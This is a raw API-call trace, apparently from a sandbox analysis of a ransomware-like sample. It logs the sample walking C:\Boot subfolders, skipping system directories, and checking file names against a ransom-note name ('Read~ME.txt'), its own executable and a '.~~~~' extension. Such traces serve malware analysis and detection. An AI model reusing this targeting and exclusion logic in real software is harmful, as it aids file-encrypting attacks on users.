	[0062.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0062.342] GetCurrentThreadId () returned 0x618
	[0062.342] GetCurrentThreadId () returned 0x618
	[0062.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0062.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.342] RtlWakeConditionVariable () returned 0x1
	[0062.344] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39daf8 | out: hHeap=0x300000) returned 1
	[0062.344] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0062.344] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0062.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.348] GetCurrentThreadId () returned 0x618
	[0062.348] GetCurrentThreadId () returned 0x618
	[0062.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0062.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.348] RtlWakeConditionVariable () returned 0x1
	[0062.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38b738 | out: hHeap=0x300000) returned 1
	[0062.351] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0062.351] lstrcmpiW (lpString1="sv-SE", lpString2="Windows") returned -1
	[0062.351] lstrcmpW (lpString1="sv-SE", lpString2=".") returned 1
	[0062.351] lstrcmpW (lpString1="sv-SE", lpString2="..") returned 1
	[0062.351] lstrcmpW (lpString1="sv-SE", lpString2="AppData") returned 1
	[0062.351] StrStrW (lpFirst="\\\\?\\C:\\Boot\\sv-SE", lpSrch="AppData") returned 0x0
	[0062.351] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.351] lstrcmpiW (lpString1="C:\\Boot\\sv-SE", lpString2="C:\\Windows") returned -1
	[0062.351] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.351] lstrcmpiW (lpString1="C:\\Boot\\sv-SE", lpString2="C:\\System Volume Information") returned -1
	[0062.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0062.351] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0062.352] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.352] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.352] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.352] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.352] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.352] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.352] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.352] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.352] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.352] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.352] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.352] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.352] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0062.352] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1
	[0062.352] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="oiikyy.exe") returned -1
	[0062.352] StrStrW (lpFirst="bootmgr.exe.mui", lpSrch=".~~~~") returned 0x0
	[0062.352] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="Read~ME.txt") returned -1
	[0062.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0062.352] GetCurrentThreadId () returned 0x618
	[0062.353] GetCurrentThreadId () returned 0x618
	[0062.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0062.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.353] RtlWakeConditionVariable () returned 0x1
	[0062.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39daf8 | out: hHeap=0x300000) returned 1
	[0062.354] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0062.354] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0062.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.365] GetCurrentThreadId () returned 0x618
	[0062.365] GetCurrentThreadId () returned 0x618
	[0062.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0062.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0062.365] RtlWakeConditionVariable () returned 0x1
	[0062.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38b738 | out: hHeap=0x300000) returned 1
	[0062.365] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0062.365] lstrcmpiW (lpString1="tr-TR", lpString2="Windows") returned -1
	[0062.365] lstrcmpW (lpString1="tr-TR", lpString2=".") returned 1
	[0062.365] lstrcmpW (lpString1="tr-TR", lpString2="..") returned 1
	[0062.365] lstrcmpW (lpString1="tr-TR", lpString2="AppData") returned 1
	[0062.365] StrStrW (lpFirst="\\\\?\\C:\\Boot\\tr-TR", lpSrch="AppData") returned 0x0
	[0062.365] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.365] lstrcmpiW (lpString1="C:\\Boot\\tr-TR", lpString2="C:\\Windows") returned -1
	[0062.365] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.365] lstrcmpiW (lpString1="C:\\Boot\\tr-TR", lpString2="C:\\System Volume Information") returned -1
	[0062.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0062.365] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0062.366] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.366] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.366] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.366] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.366] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.366] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.366] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.366] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.366] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.366] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.366] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.367] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.367] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0062.367] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1
	[0062.367] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="oiikyy.exe") returned -1
	[0062.367] StrStrW (lpFirst="bootmgr.exe.mui", lpSrch=".~~~~") returned 0x0
	[0062.367] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="Read~ME.txt") returned -1
	[0062.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0062.367] GetCurrentThreadId () returned 0x618
	[0062.367] GetCurrentThreadId () returned 0x618
	[0062.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39ebf8
	[0062.367] RtlWakeConditionVariable () returned 0x1
	[0062.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39daf8 | out: hHeap=0x300000) returned 1
	[0062.367] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0062.367] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0062.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.367] GetCurrentThreadId () returned 0x618
	[0062.367] GetCurrentThreadId () returned 0x618
	[0062.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c880
	[0062.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.368] RtlWakeConditionVariable () returned 0x1
	[0062.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38b738 | out: hHeap=0x300000) returned 1
	[0062.368] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0062.368] lstrcmpiW (lpString1="zh-CN", lpString2="Windows") returned 1
	[0062.368] lstrcmpW (lpString1="zh-CN", lpString2=".") returned 1
	[0062.368] lstrcmpW (lpString1="zh-CN", lpString2="..") returned 1
	[0062.368] lstrcmpW (lpString1="zh-CN", lpString2="AppData") returned 1
	[0062.368] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-CN", lpSrch="AppData") returned 0x0
	[0062.368] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.368] lstrcmpiW (lpString1="C:\\Boot\\zh-CN", lpString2="C:\\Windows") returned -1
	[0062.368] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.368] lstrcmpiW (lpString1="C:\\Boot\\zh-CN", lpString2="C:\\System Volume Information") returned -1
	[0062.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0062.368] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0062.369] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.369] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.369] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.369] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.369] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.369] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.369] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.369] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.369] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.369] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.369] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.369] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.369] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0062.369] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1
	[0062.369] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="oiikyy.exe") returned -1
	[0062.369] StrStrW (lpFirst="bootmgr.exe.mui", lpSrch=".~~~~") returned 0x0
	[0062.369] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="Read~ME.txt") returned -1
	[0062.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0062.369] GetCurrentThreadId () returned 0x618
	[0062.369] GetCurrentThreadId () returned 0x618
	[0062.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8b8
	[0062.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39ec50
	[0062.370] RtlWakeConditionVariable () returned 0x365f48
	[0062.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39daf8 | out: hHeap=0x300000) returned 1
	[0062.370] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0062.370] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0062.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.370] GetCurrentThreadId () returned 0x618
	[0062.370] GetCurrentThreadId () returned 0x618
	[0062.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c960
	[0062.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357008
	[0062.370] RtlWakeConditionVariable () returned 0x365f48
	[0062.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38b738 | out: hHeap=0x300000) returned 1
	[0062.370] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0062.370] lstrcmpiW (lpString1="zh-HK", lpString2="Windows") returned 1
	[0062.370] lstrcmpW (lpString1="zh-HK", lpString2=".") returned 1
	[0062.370] lstrcmpW (lpString1="zh-HK", lpString2="..") returned 1
	[0062.370] lstrcmpW (lpString1="zh-HK", lpString2="AppData") returned 1
	[0062.370] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-HK", lpSrch="AppData") returned 0x0
	[0062.370] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.370] lstrcmpiW (lpString1="C:\\Boot\\zh-HK", lpString2="C:\\Windows") returned -1
	[0062.370] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.371] lstrcmpiW (lpString1="C:\\Boot\\zh-HK", lpString2="C:\\System Volume Information") returned -1
	[0062.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0062.371] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0062.374] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.374] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.374] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.374] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.374] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.374] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.374] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.375] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.375] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.375] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.375] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.375] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.375] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0062.375] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1
	[0062.375] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="oiikyy.exe") returned -1
	[0062.375] StrStrW (lpFirst="bootmgr.exe.mui", lpSrch=".~~~~") returned 0x0
	[0062.375] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="Read~ME.txt") returned -1
	[0062.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0062.375] GetCurrentThreadId () returned 0x618
	[0062.375] GetCurrentThreadId () returned 0x618
	[0062.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c998
	[0062.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39eca8
	[0062.375] RtlWakeConditionVariable () returned 0x365f48
	[0062.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39daf8 | out: hHeap=0x300000) returned 1
	[0062.375] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0062.375] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0062.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.376] GetCurrentThreadId () returned 0x618
	[0062.376] GetCurrentThreadId () returned 0x618
	[0062.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c9d0
	[0062.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0062.376] RtlWakeConditionVariable () returned 0x365f48
	[0062.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38b738 | out: hHeap=0x300000) returned 1
